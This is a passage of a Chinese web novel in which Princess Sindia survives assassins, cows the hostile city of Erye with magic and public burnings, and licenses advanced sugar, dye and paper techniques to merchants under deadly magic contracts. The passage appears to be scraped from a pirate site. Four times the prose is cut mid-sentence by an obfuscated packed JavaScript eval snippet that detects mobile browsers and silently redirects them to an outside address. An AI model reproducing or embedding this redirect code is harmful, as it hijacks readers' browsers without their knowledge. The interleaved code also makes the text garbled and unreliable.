辛蒂舒舒服服地洗了一个热水澡，感觉旅途的疲惫一扫而空。正当她准备呼唤哈迪贾为她取来衣袍时，忽然觉得有些不对劲。 太安静了，她虽然独享这个浴池，隔壁房间她的女奴们也在清洗自己的身体。辛蒂之前还能听到她们低声交谈说笑的声音，可是现在什么动静都没有。 仔细想想，女奴们早该进来服侍她了，尤其是以哈迪贾的细心，不会让她独自在这里这么久。 辛蒂表面上仍旧在享受被温热的水包裹着的感觉，实际上暗自凝神警惕着周围的动静。 忽然有脚步声从辛蒂的身后传来，来者的脚步极为轻盈，若非辛蒂的五感得到过加强，绝对捕捉不到这样细微的动静。 来者逐渐逼近辛蒂，眼见那细嫩的脖颈离她越来越近，只需要轻轻一划，必然会像成熟的柿子那样皮开肉绽。 即使匕首只能造成一个小小的伤口，毒素的迅速扩散也能在顷刻间要了对方的命，她的任务就能圆满完成。 可是事情的发展终究没能如她所愿，匕首成功触碰到了辛蒂亚公主的皮肤，可是仅限于此，那看起来娇嫩无比的肌肤竟然坚韧非常。 即使刺客用尽了全身的力气，那闪着蓝光的匕首仍未能给辛蒂亚公主造成丝毫伤害。 阻挡在匕首和皮肤之间的，是辛蒂用法术形成的薄膜，寻常匕首当然刺不穿。 刺客感到不妙，下意识就想转身逃跑，却已经来不及了。 浴池中涌起一道清澈的水流，在她恐惧的目光里像绳子一样把她牢牢禁锢在原地，动弹不得。 确认刺客没有同伴后，辛蒂才起身走出浴池，看到了刺客的面容，竟然是她的女奴格曼。 辛蒂亚公主有许多奴仆，其中包括哈迪贾在内，只有五个女奴是贴身伺候的，格曼就是其中之一。 她们都是从小服侍辛蒂亚公主的，刚刚那几分钟，辛蒂连浴场的女老板都想过了，唯独没有怀疑她的女奴们。 辛蒂对格曼的印象就是格外的沉默寡言，常常都在安静地做自己的事，她万万没想到格曼竟然敢刺杀她。 是被重金诱惑还是家人的性命受到了威胁？抑或是对方向她承诺了自由？辛蒂不得而知。 在她质问格温的时候，却发现格温已经咬破了嘴里的毒囊，失去了生息。 不过用不着审讯，怀疑对象不是阿赫勒教团就是祖拜达王后母子，又或者是其他不愿意她前往埃烈的人。 哈迪贾她们都还活着，她们被格温迷晕了，看来格温到底还是对这些日夜相处的伙伴有些感情，否则直接杀掉是更加保险的方法。 这件事没有给辛蒂造成什么损失，但是给她敲响了警钟，这次的刺杀恐怕只是一个开始。 辛蒂亚公主的队伍在拉姆勒镇休整了几天，在这期间，她利用占卜将队伍中别有用心的人都摸了个清楚。 不查不知道，她这里还挺热闹的，祖拜达王后的人、哈里发拉希德的人、叶海亚的人，还有各个教派的。 认真算起来，几乎没有几个是背景完全清白的。 辛蒂借着格温的刺杀，将一些奴仆调到了不重要的岗位上，尤其是阿伊莎的身边，都换上了值得信任的人。 饮食上辛蒂也格外注意起来，所有她和阿伊莎入口的东西都要经过医师判断无毒后，再用专门豢养的兔子吃完没有异常才会食用。 她还杀了不少很可能造成威胁的侍卫和奴隶，她看重所有人的生命，但是更看重自己的。 在必要的时候，她可以救人，更可以杀人。 辛蒂亚公主的铁血手段让不少人都噤若寒蝉，许多认为她天真又心软的人收起了轻视，一些蠢蠢欲动的人也按耐住了。 于是接下来的路程又变得顺利起来，很长一段时间都没有出现类似格温这样的事。 一直到接近进入埃烈，来自外部的刺杀和侵扰成了常态。三天以内，辛蒂就遇到了五个试图杀死她的人。 就连阿伊莎都不再担惊受怕，不管多么厉害的刺客，在辛蒂亚的种种手段之下都无法得手。 第一个刺客是一个怀抱着婴儿的女人，在知道这是辛蒂亚公主的队伍后，她虔诚地跪在路边，声称自己信仰真主，希望辛蒂亚公主能为她的孩子赐福。 这样的事有助于辛蒂培养自己的名望，她没有拒绝，让人将这个女人带到了自己的驼轿之前。 辛蒂现身的一瞬间，女人将怀中的婴儿抛出，在众人被吸引注意力之际，她拿出一把匕首直直地刺向辛蒂。 这个设计很粗糙，女人的速度不算快。辛蒂的身边有几个身手很好的侍卫，女人接近辛蒂之前就被擒获了。 此后还有一个刺客挟持了打水的哈迪贾，将她误认为辛蒂亚公主。 这人实际上是个农民，根本就不知道公主长什么样，看到哈迪贾衣着华丽，以为她就是辛蒂亚公主，想要以此来索要钱财。 辛蒂对此哭笑不得，看他没有伤人，就让人放了这个农民。 就像这个农民，这些人未必是某个教派或者组织派出的专业杀手，更多的是自发的对于辛蒂亚公主感到不满，用自身的性命抵制她的人。 最后一次刺杀在埃烈城中，严格意义上来说，这是一场有预谋的羞辱。 辛蒂亚公主的队伍穿过长长的街道，两旁的人都无声盯着这个队伍。没有欢呼，也没有喝骂，只有无穷无尽的寂静。 埃烈城中几乎所有教派，包括逊尼派都不愿意辛蒂亚公主成为埃烈的新主人。不仅仅是因为她间接损害了他们的利益， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901674|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更多的因为她是个女人。 女人怎么能站在人前，甚至掌握权力呢？ 这些不满辛蒂亚公主的人鼓动着城中的平民，伪造并宣扬辛蒂亚公主不是传说中的神佑者，而是渎神之人的种种传言。 辛蒂亚公主的一言一行被有心人观察后放大，成为亵渎他人信仰的最佳证据。 在传言中，她容不下除了逊尼派以外的任何教派，她杀死过许多外教的信徒，她因为一个女奴和她不同的信仰就将她活活凌迟致死······ 这些虚假的传言在巴格达不会有生存的土壤，然而在埃烈这个信徒云集的地方，狂热的信仰让人们失去理智。 几乎所有平民都相信了他们未来的领主，辛蒂亚公主是个不敬神明的狂悖之徒。 在辛蒂亚公主成为埃烈的主人之日，就是他们以及他们的信仰被清算之时。 他们安静凝视着载着辛蒂亚公主的白色驼车，圣洁的白此刻在他们的眼中污秽无比。 一声粟特语的喝骂打破了寂静，“异端！”，穿着麻衣的健壮男子率先喊出了所有人的心声。 “异端！”、“滚出埃烈！”、“埃烈不欢迎渎神者！”······ 一时间现场像是油锅一样沸腾了起来，男人和女人，老人和小孩，粟特语和希腊语、阿拉比亚语和波斯语，各种声音交织在一起。 埃烈的居民们变得前所未有的团结起来，对抗起他们共同的敌人——辛蒂亚公主。 不满不止表现在言语中，他们碍于那些盔甲闪闪发光的侍卫不敢真的施展暴力，但是他们还有别的手段。 群情激奋中，不知谁扛起一桶粪水，泼向了那白色的驼轿。 驼轿却没有如他们预期中一样被弄脏，轿中人也没有尖叫着跑出来。 众目睽睽之下，那些污秽的粪水就像遇到了一面看不见的屏障，从半空中滑落下来，别说驼轿，就连附近的地面都是干干净净的。 人们都被这神异的一幕惊呆了，油锅里似乎被泼进了一盆冰水，原本喧哗的人群变得死寂。 刚刚还挥舞着拳头，叫嚣着让辛蒂亚公主滚出埃烈的大汉吃惊地张大了嘴，那个泼粪的男人手中的木桶骨碌碌掉在地上，在惯性的驱使下滚向驼轿的方向。 还没触碰到驼轿，散发着浓烈恶臭的木桶忽地自燃起来，顷刻间就变成了一团灰烬。 木桶的自燃让泼粪的男人幻视出自己的衣服燃烧起来，烧得他皮开肉绽、满地打滚的情形。 剧烈的恐惧让他的大脑从狂热中清醒过来，他双腿战战，扑通一声跪倒在地，祈求辛蒂亚公主的原谅。 “尊贵的公主，我不是故意的，对，我是被人蒙骗了，不要烧死我······” 男人的头在石板地面上磕得砰砰直响，没几下就渗出了血迹。 周围的其他人如梦初醒，眼里的敌视已经变成了深深的畏惧，他们就像多米诺骨牌一样一个接一个的跪倒在地，争先恐后地忏悔着自己的无知无畏，生怕自己也变成燃烧的木桶。 57.下马威 此时，辛蒂才从驼轿中走出，她身着白色的长袍，黑色的长发被风扬起，露出了白皙而美丽的脸庞。 就像神话传说中的神女，乘坐白骆驼来到了人间。 她环视一圈，开口道： “诸位都是埃烈善良本分的居民，当然不会做出拦截污蔑城主的恶行，今天的事，完全是因为有心人的挑唆。” 辛蒂亚公主的声音温柔而平静，不算洪亮，却在法术的作用下清晰地传进了每个人的耳中。 在她的示意下，侍卫将刚刚抓获的在人群中煽风点火的几个人拉了出来。 “这些人，就是罪恶之源，祸乱之因。他们被魔鬼派遣而来，只为了离间我和埃烈以及诸位。以真主的名义，我将处决他们！” 这几个人一露面，人群中就响起窃窃私语。 “就是那个蓝眼睛的人，他先喊的异端！” “对，那个矮个子男人到处传播公主的谣言。” ······ 人们心中的紧张和害怕等情绪顿时有了出口，开始你一言我一语对着那几个人指指点点起来，恨不得把自己刚刚过激的言行全部算做成他人的误导。 却忘记了自己的愤怒也是真实的，只是暂屈于对方的武力之下才不得不低头。 没多久，人们的议论声又停止了，回到了最开始的鸦雀无声。 因为那几个人在辛蒂亚公主宣布处决后，就像之前的木桶一样燃烧了起来，他们的惨叫声响彻了整条街道。 这是警告，更是对幕后者的威慑。 打一棍子自然要给个甜枣，在埃烈的居民们以为辛蒂亚公主还要继续杀人时，她露出了一个微笑。 虽然在人们心中，这位公主已经比恶魔还要可怕了，可还是忍不住被她纯洁的美貌所迷惑。 “诸位，作为埃烈的新城主，我承诺未来一年，埃烈完全免税！这项法令会在我的城主就任仪式上被正式宣布。” “此外，仪式的最后，所有在场的人都会获得真主的赐福。” 免税的消息让人群沸腾了，阿拉比亚王国的税收有着很明显的宗教歧视。 信仰真主的居民几乎只需要缴纳收成的百分之三，而且他们的收入要是没有达到五椰枣骆驼的起征点，就无需纳税。 异教徒包括拿撒勒派、苏菲派等的信徒的税负则高达他们收入的一半，所以埃烈的异教徒要是从事农业根本就活不下去。 他们中的大多都从事一些技术性的，如玻璃、丝织之类的手工业工匠，医学、天文学、哲学的传承者，还有掌握着货币兑换和信贷业务的商人。 这些人具有高收入，高社会地位的特征，因此负担得起高昂的税收——保留信仰必须付出的代价。 即便如此，谁也不会嫌弃金灿灿的钱币，这些富有的异教徒会是免税条款的最大受益者。 至于辛蒂亚公主所说的赐福，几乎所有公开活动都会有这么一项，几乎只有心理层面的作用，大多人都不以为然。 只有小部分人对这句话给予了重视，暗暗决定到时候一定要提前去广场上占个好位置，完全忘了自己十分钟以前还仇恨着这位公主。 精心准备的下马威没能让辛蒂亚公主从物理到世俗层面地变臭，反倒是成了她宣扬名声的垫脚石，这是谁都没有想到的。 接下来辛蒂顺利入驻了埃烈的城主府，大概是听说了她的名声，从埃烈的副官到城防司令，没有一个人试图给新城主使绊子，权力的交接十分丝滑。 大概理顺了城主府的事务以后，辛蒂毫不意外地发现，几乎没有地方是顺心的。 偌大的一个埃烈，财政年年赤字，欠了商人们一大笔数不清的钱，不仅如此，城主府的官员们已经三个月没有得到应得的薪俸了。 对于那些擅长从权力中谋得好处的官员来说，这点薪俸有没有都无所谓。 而对于那些不愿意以权谋私的官员，三个月的欠薪是压死骆驼的最后一根稻草，迫使他们不得不接受商人的贿赂，做出违背本心的事。 所以埃烈的官员腐败的现象很严重，几乎每个有实权的官员背后都有一个或者几个商人在支持。 在这样的情况下，几乎是商人们养着城主府，城主的政令又能有效到哪里去呢？ 不管总督或是城主有多么大的雄心壮志，首先需要解决的就是钱的问题，否则很有可能面临无人可用的情况。 埃烈的前总督扎姆这次回到巴格达，目的之一就是希望能从哈里发拉希德那里得到更多的财政支持，他受够了商人们的要挟。 这是副官阿卜告诉辛蒂的，与此同时，这个年轻人用他明亮的蓝眼睛饱含希望地看着新城主辛蒂亚公主。 ——他听说了辛蒂亚公主在入城时创造的神迹，渴望着这位美丽的公主能够凭空变出一堆金子来。 这当然是不可能的，要是辛蒂之前成功拿到了打火匣，这个年轻人或许能目睹这样的神迹。 而现在嘛，就算安拉他老人家亲至，也不得不烦恼几分哩。 辛蒂表面上似乎在思考着这些棘手的金钱问题，实际上思绪已经飘远，她在走神。 这似乎是她遇到的第四个Abdullah了，这实在是一个十分常见的名字。 她记得铜宫的医师就叫阿卜杜拉，祖拜达王后的弟弟也叫阿卜杜拉，她的老师阿布的全名也是这个。 这个名字的意思是“真主的仆人”，确实有很多虔诚的信徒会选择给自己的孩子取这样的名字······ 回过神来，辛蒂意识到她的副官阿卜还在等候她的进一步指令。 真是让人头疼啊，纵然辛蒂有一身的手段，面对这个空空荡荡，背负着巨债的城主府，一时半会也想要逃避。 “阿卜卿，你说的情况我都知道了，我会想法子解决的，你先下去吧。” 副官阿卜的脸上出现了羞愧的表情，虽然这并不是他造成的，他却真心实意地为城主府的糟糕情况感到不好意思。 他很理解新城主，尤其这还是一位似乎都不知道钱币长什么样的，不食人间烟火的美丽公主，她的内心该是如何的慌乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905919|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她能想到什么办法呢？即使是老谋深算的扎姆总督也不得不捏着鼻子和商人合作呢。 阿卜已经开始同情他的新城主了，随即他意识到他不过是一个连薪水都拿不到的副官，又有什么资格同情一位公主呢。 他收起那些多余的感情，同时遗憾没有看到凭空出现的金币，表面上则一丝不苟地行礼后离开了。 阿卜觉得自己的情绪掩饰得很好，辛蒂却将他的那些期盼、同情和可惜看得一清二楚。 比起白天觐见的明里暗里都在说缺钱，想要从她这里得到一笔军费的城防官纳西尔，这位刚上任没多久的副官简直清澈得不可思议。 城防官纳西尔甚至还给了她一个建议：“大商人狄奥多罗斯很希望能够‘赞助’您，只需要您像扎姆总督在的时候一样，给他一点点小小的生意上的方便就可以。” 可以免税的通关文牒、王室香料采购的独家代理权还有一些商品的定价权可不是什么“小小的方便”。 辛蒂知道狄奥多罗斯，这位有名的大商人的事业遍布各个领域，从奴隶贩卖到玉石生意，就没有他不掺合的行业。 同时他还是城主府最大的债主，在埃烈，人人都知道狄奥多罗斯说的话，比前总督扎姆的话还要好使。 辛蒂亚公主屁股下的城主府宝座还没坐热，这位大商人就迫不及待地通过城防官纳西尔显示出自己的存在感。 恐怕在他看来，新城主早已被巨额债务吓得魂不附体，会迫不及待地接受“赞助”，让渡出城主的权力。 除了钱的问题以外，城主府中还积压了许多繁杂的事务。 如匪徒作乱逃往城中的流民的安置问题、田地歉收的情况下是否需要对农民进行救济、两个教派因为教堂的建设产生的矛盾等等。 这些事本质上都是钱和人的问题，只要钱到位，官员们自然就会各司其职，这些问题根本不会让城主亲自解决。 更大的可能是有人想要用这些杂乱的事绊住辛蒂亚公主的脚步，让她找不到真正的关键。 要是她真的一头扎进这些重要但不紧急的事务中，恐怕耗干了心血也也还是在原地打转，陷入无休止的杂事中。 况且半年多没有话事人，埃烈也还是在正常运转。 面对乱糟糟的局面，辛蒂无师自通了一个道理，既然事情难以解决，不如先放一放，理清了线头再说。 所有等待着新官上任三把火的人都惊讶地发现，一个月过去，城主府一点动静都没有。 辛蒂亚公主既没有急着处理那些债务，也没有理会大商人狄奥多罗斯抛出的橄榄枝。 她就连城主就任仪式都没有举行，只有她向平民承诺的免税一年的政令莫名其妙地执行了下去。 这条政令甚至都没有经过辛蒂亚公主本人的二次确认，就在所有人的推动下被执行了下去。 反正城主府本来就没什么钱，再少一笔未来的收入也无人在意，商人们节省的税收却是实打实的。 只有城主府蒙受损失的世界达成了。 58.邀请 不少人都认为辛蒂亚公主面对复杂的局面退缩了，于是龟缩在了城主府的壳子里不敢出来。 面对各种宴会邀请和拜帖，城主府都没有丝毫回应。 可是关注着城主府的势力都没有放松警惕，因为没有一个探子能从城主府活着出来。 就连阿赫勒教团的那些有着神奇本领的探子也不行，没有人能知道那高高的城主府大门后在发生着什么。 唯一能进出城主府的副官阿卜，他的嘴却紧得跟蚌壳一样，不管是威逼还是利诱，都不能让他说出任何关于辛蒂亚公主的消息。 终于有一天，辛蒂亚公主要从她的“龟壳”里出来了！ 不知道辛蒂亚公主怎么做到的，她入住城主府的第一天，所有别有用心的人都被驱逐了。 整个城主府就像一个铁桶，没人能从公主的奴仆嘴里得到任何消息。 这个消息自然也不是城主府的下人说出来的，而是城中一部分被狄奥多罗斯压得死死的小商人。 他们接到了城主府的邀请，参加“技术交流会”。 这是一个新鲜的名词，有的人对此不屑一顾，认为这只是一个女人想出来的哗众取宠的东西。 毕竟参加的人的身份地位都不高，一群乌合之众而已，能做出什么事来？ 狄奥多罗斯却不这么认为。 他能从一个偷渡客变成如今的大商人，靠的并不仅仅是他那张俊美过人的脸蛋，更多的是他的谨慎小心，从不瞧不起任何弱者。 在他看来，辛蒂亚公主就是一个毋庸置疑的弱者。她舍弃了父亲的庇佑来到这个混乱的地方，企图驯服埃烈这头野兽。 要是在巴格达，他会尊称她一声公主，或许还会讨好她，借此从她的哈里发父亲那里得到些好处。 可是她现在不过是一个手无寸铁的弱女子，那些被称为“神迹”的小把戏，或许能动摇一些人，却不能让他有一丝信服。 他不相信神的存在，要是世界上真的有神明，他的母亲，一位再虔诚不过的信徒，怎么会死在海上的风暴中呢？ 那些所谓的神迹，随随便便请一个巫师就能做到，只是平民不知道而已。 他之前以为辛蒂亚公主会继续沿用她那些把戏蛊惑无知的平民，他并不担心她得到民众的支持后威胁到他。 在金币面前，即使神明也要低下高贵的头颅。 前总督扎姆刚上任时也做了些实事，获得了许多民众的支持，不照样会因为钱对他俯首帖耳吗？ 可是这个“技术交流会”完全出乎了他的意料，在本地语言里，技术对应的词语还包含了行业的意思。 狄奥多罗斯走过许多国家和地区，他太知道“技术”对于一个商人来说是多么重要了。 即使有一点可能，辛蒂亚公主确实掌握着一些技术，这样的情报他不能错过。 他于是派出了自己最为信得过的手下，替代了一位受邀前往的丝绸商人前往城主府参加这个“技术交流会”。 狄奥多罗斯比相信自己还要相信这个手下的忠诚，手下确实也不负他的信任，在结束后的第一时间就来向他汇报情况。 手下的第一句话就让狄奥多罗斯怀疑起自己看人的眼光。 “我的主人，请原谅我，这事关身家性命，我不能说。” “什么？” 狄奥多罗斯眼中的质疑刺痛了他的手下，这个朴实的大汉设法让他的主人明白，他签订了魔法契约，在契约的限制下，他什么都不能说。 狄奥多罗斯并不知道这种只存在于阿赫勒教团典籍中的东西，这听起来像是天方夜谭，更像是一个借口。 手下没有办法，只能试图将自己在城主府中得到的信息传递给他的主人。 为此他尝试了种种办法，从手写到做口型，他都无法表达他想传达给狄奥多罗斯的意思。 眼看着主人的神情越发狐疑，大汉的眼中闪过悲哀。 “我的主人，我会向您证明我的忠诚。请帮我照顾好我的妻子和孩子。” 狄奥多罗斯是一个疑心很重的人，手下像是临终遗言一样的话没能打动他半分。 他甚至怀疑手下是不是受了辛蒂亚公主很多好处，才胡诌出什么魔法契约来搪塞他。 直到大汉的脸涨得青紫，拼尽全力从牙缝里挤出了几个字：“是技术，更先进的技术。” 这几个字一出口，大汉立马倒地身亡。 狄奥多罗斯这才相信，辛蒂亚公主确实用了某些手段，让参与者无法向他人透露出关键信息，否则就会死亡。 牺牲了一条人命，狄奥多罗斯的猜测得到了确认，辛蒂亚公主确实掌握着可能足以颠覆行业的技术。 从参加的商人来看，这些技术很可能包括了制糖、印染和造纸。 在埃烈，这些行业是狄奥多罗斯的商业版图中极其重要的一部分。 狄奥多罗斯悚然一惊，他立即猜到了辛蒂亚公主的意图——用她所知道的先进技术扶持一些小商人来和他打擂台。 关于技术的来源，狄奥多罗斯下意识回避了这个问题，这看起来只会有一个答案，那是真主向辛蒂亚公主传递的知识。 即使狄奥多罗斯已经尽量设想城主府的“技术交流会”里的技术有多么进步，他的眼界还是限制了他的想象力。 尽管他已经提前做出了一些应对措施，试图用以前都屡试不爽的低价等策略来应对竞争。 他不知道，这是注定徒劳的挣扎。 这场“技术交流会”辛蒂实际上已经筹备了半年了。 自从将树洞中的财富用于收买巴尔克马家族，辛蒂就开始思考应该如何赚钱。 上一个世界中她是几乎一无所有的孤女，即使有现代的技术也不敢拿出来，以免太过于显眼。 在这个世界辛蒂有了神佑的屏障，这让她可以以此为借口发挥自己的知识，公主的身份让她能在一定程度上免受政治倾轧。 不过在巴格达，辛蒂亚公主也没有多少施展的空间，辛蒂只能将自己能想起来的知识慢慢回忆起来写在纸上。 比如如何生产出洁白细腻的白砂糖、利用植物调配出更多颜色的染料、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911024|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至是如何制作更加精准记录时间的仪器等等。 辛蒂在学习炼金术的同时，也尝试着将以前书本上的那些知识和公式落实成为本土化的配方。 这并不是一个简单的过程，并非是只要知道一个公式就能得到期望的结果，实践往往比理论复杂得多。 这个时代的糖大多是褐色的粗糖或者蜂蜜，而且都是平民接触不到的奢侈品，只有贵族才能享用。 这种粗糖和现代一样，也是用甘蔗制作的，大概可以认为距离得到白色的砂糖，还差一个在甘蔗汁结晶前澄清的步骤。 辛蒂在高中时大概了解过现代工艺中制糖的流程，澄清要么需要石灰乳澄清，要么在糖汁中通入二氧化碳进行澄清。 辛蒂既没有石灰乳，也做不到在糖汁中通入二氧化碳，即使可以，也只能在她的炼金实验室中进行，缺乏量产的手段。 在多次尝试以后，辛蒂终于找到了适用的办法，用动物骨骼焚烧而成的骨碳可以有很好的吸附澄清效果。 而且骨碳易得，成本可控，具备大规模生产的条件。 相较而言，试验出不同的调色就容易许多，比起调色，对于布料的颜色进行固色是更关键的技术。 这个时代没有固色技术，不管什么染料，在清洗了三五次以后都会掉色，没人知道明矾的固色作用。 除了制糖和布料染色以外，辛蒂还捣鼓出了造纸术。 其实这个时代已经有了较为成熟的造纸术，不过这掌握在贵族的手里，平民几乎都用不起白色的纸张，只能使用莎草纸或者牛羊皮。 辛蒂要想在埃烈站稳脚跟，首先就要解决城主府的财政问题。这决定了她能有多少人可以用，以及她的政令的顺利实施。 于是她这段时间研究出来的技术就有了用武之地。 她不准备亲自下场，利用这些技术赚钱，这从时间上说这并不划算，毕竟赚钱对她来说只是一个通向最终目的的手段。 由此就有了城主府的“技术交流会”，她需要为自己的技术找一批代理人。 多亏副官阿卜的帮助，她精准定位到了一批规模只能算是中等的制糖、造纸、丝绸商人。 这些商人无一不是有着丰富的经商经验，但是比不上狄奥多罗斯势大，只能跟在他后面喝喝汤。 苏卡尔就是接到城主府的邀请的制糖商人之一。 苏卡尔祖祖辈辈都在埃烈经营制糖的生意，是埃烈数得上的糖商。 他原本以为自己会像是父亲一样，一辈子兢兢业业地和甘蔗甜菜打交道，未来再将生意传给儿子。 一直到狄奥多罗斯的出现，打破了如同一潭死水的市场。 他的制糖技术并不比他高明，但是他拥有着更加雄厚的资本，他售卖的粗糖价格更加低廉，几乎要把他和其他的糖商挤垮了。 狄奥多罗斯的野心很大，恐怕想要将所有人都挤走，达成垄断的局面。 苏卡尔现在只是在勉力支撑着这门生意，实际上他已经在考虑是否应该带着祖辈积攒的财富和妻儿去另外的地方东山再起。 59.技术交流会 在接到城主府的邀请时，苏卡尔还颇废了一番功夫来验证邀请函的真假。 毕竟像他这样规模的商人，没有意外的话一辈子都见不着这样的大人物哩。 据苏卡尔所知，即使是法兰西，也未必有比他更高明的制糖技术。 虽然不知道这位新城主能有什么样的技术可以来交流，苏卡尔还是怀着十二万分的谨慎和重视准时到了城主府。 在城主府的宴会厅里，苏卡尔见到了许多熟面孔，都是生存空间被狄奥多罗斯挤占的商人。 其中不少在之前都是国内数一数二的富有呢，不过因为狄奥多罗斯，那都是过去式了。 主持交流会的是城主的副官阿卜，所有人都没有因为这位副官的年轻产生轻视，对于他说的每一个字都听得全神贯注。 因为展台上的那些“洁白如雪的糖”、“从没见过的彩色丝绸”都给予了商人们极大的视觉震撼。 不负众望，阿卜第一个介绍的就是那诱人的白色晶体。 “各位，这是城主府的制糖技术······” 苏卡尔精神一振，虽然在看到的第一眼他就有所猜测，得到证实后他还是激动得心脏砰砰直跳。 那些糖就像是山巅上的一抹初雪，散发着温润的圣光。 苏卡尔甚至都怀疑这是不是真主才能享用的造物，直到副官阿卜用手指捻起一小撮，同时邀请他们一起品尝。 甜蜜在舌尖绽放，苏卡尔此时才意识到这不是做梦，而是真实发生的。 没人比苏卡尔更加明白这如此纯净，没有参杂任何苦味或者酸味的甜味意味着什么。 还有这样高贵的颜色，苏卡尔都能想象那些贵族会毫不犹豫地为此掏出大把大把的金币。 平民们会搜刮出家里的每一枚铜币，只为了买上一小捧这样的糖来供奉给自己所信仰的神明。 商人的本能让苏卡尔下意识就开始思考这样的糖定价几何比较合适，每个德拉姆1金币？不不不，要价到5金币也有的是人会买。 可是这时，他听到了副官阿卜的话：“······辛蒂亚公主希望埃烈的所有人都能吃上这样的糖······所以最开始的定价不能太高······” 内心的匪夷所思让苏卡尔忘记了谦卑，他不由自主地高声反问道：“大人！这样的佳品怎么能廉价售卖给平民呢？” 苏卡尔的话获得了许多人的共鸣，不管是洁白的糖还是有着美丽色彩的布匹，抑或是薄如蝉翼的纸张，他们都不认为那是平民百姓可以享用的。 副官阿卜也向辛蒂亚公主提出过相同的问题，辛蒂亚公主的答案他一生都不会忘记。 “阿卜卿，眼光放得长远些，我们不是只有赚钱作为目标的商人。” “这些东西不仅仅会为我们带来金币，它们会成为埃烈的特色。迟早有一天，整个阿拉比亚王国甚至波斯和法兰西，都会用上埃烈生产的糖和布匹。” 这样的野望让阿卜战栗的同时也为自己的目光短浅感到羞愧，他无法想象，要是真的有那么一天，该是怎样的盛景。 不过此时并无必要向商人们解释过多，他维持着淡然的表情，语气暗含不满：“你们只需要按照城主府的意思做就好了，不要多问。” 副官的冷漠让商人们从狂热中恢复过来，苏卡尔这才意识到他竟然顶撞了一个贵族。 要是阿卜愿意，他完全可以处死这个大胆的商人。 苏卡尔惊出了一身冷汗，不敢再有任何的异议。 随后副官阿卜又向他们介绍了布匹的调色和固色的技术，以及造出比市面上最好的纸品质更高的纸张的技术。 这些不是苏卡尔的专业领域，不过单凭那些丝绸商人和造纸商人夸张的反应，他完全可以想象这些技术会给市场造成多么大的震荡。 技术交流会的最后，副官卡尔正式提出城主府可以将这些技术授权给商人们使用。 辛蒂亚公主会为他们的生产提供技术指导以及保证他们不会因为使用这些超前的技术遭到贵族或者其他商人的迫害。 条件是商人们需要先交上一笔“技术使用费”，后期将经营所得的一半的利润给辛蒂亚公主。 技术使用费的金额经过计算，恰好是商人们会觉得肉疼，又能负担得起的。 没有太多犹豫，苏卡尔签下了那份所谓的“魔法契约”，即使阿卜一再强调要是违背就会即刻失去生命。 他并不意外地发现，在座的其他商人都同意了签订契约。 在座的都是经验丰富的商人，副官阿卜的描述以及那些成品都太有说服力了。 没有一个人愿意眼睁睁地看着金币从自己的眼前溜走。 更何况同行们都签了，若是错过这个机会，可以预见的未来他们原本就在狄奥多罗斯打击下严重缩水的生意会遭到严重的打击。 苏卡尔在魔法契约上签下了自己的名字的瞬间，感受到了难以言喻的约束感，清晰地知道要是违背契约，他真的会付出生命的代价。 他忽然想起城主辛蒂亚被称为“真主庇佑的公主”，他并不信奉真主，此时却不由自主地相信了这个传言。 技术交流会进行得十分顺利，对于辛蒂而言，商人们缴纳的技术使用费可以作为一些事的启动资金了。 要知道这一个月她已经将她从巴格达带来的钱花得差不多了，这笔钱可以说解决了她的燃眉之急。 魔法契约真是好用啊，辛蒂想到要是没有魔法契约，她就要花费更多的时间和手段来保证商人的忠诚。 而现在，她只需要操心这些商人的实际生产情况就可以。 这一个月时间里，辛蒂除了将城主府打造成一个密不透风的堡垒以外，还训练出了一批充分了解这些技术的奴仆。 辛蒂将她们称作“技术指导”，这些技术指导们分别受到了制糖、染色和造纸三个方面的培训，理论上可以帮助商人们实现各个产品的量产。 当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915278|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，所有相关人员都签订了保密契约，基本可以杜绝泄密的情况。 所以在技术交流会后，关于城主府究竟想要做什么，还是没有任何确切的消息，只有一些捕风捉影的言论。 终于，一场史无前例的巨大市场风暴在长时间的酝酿中诞生了。 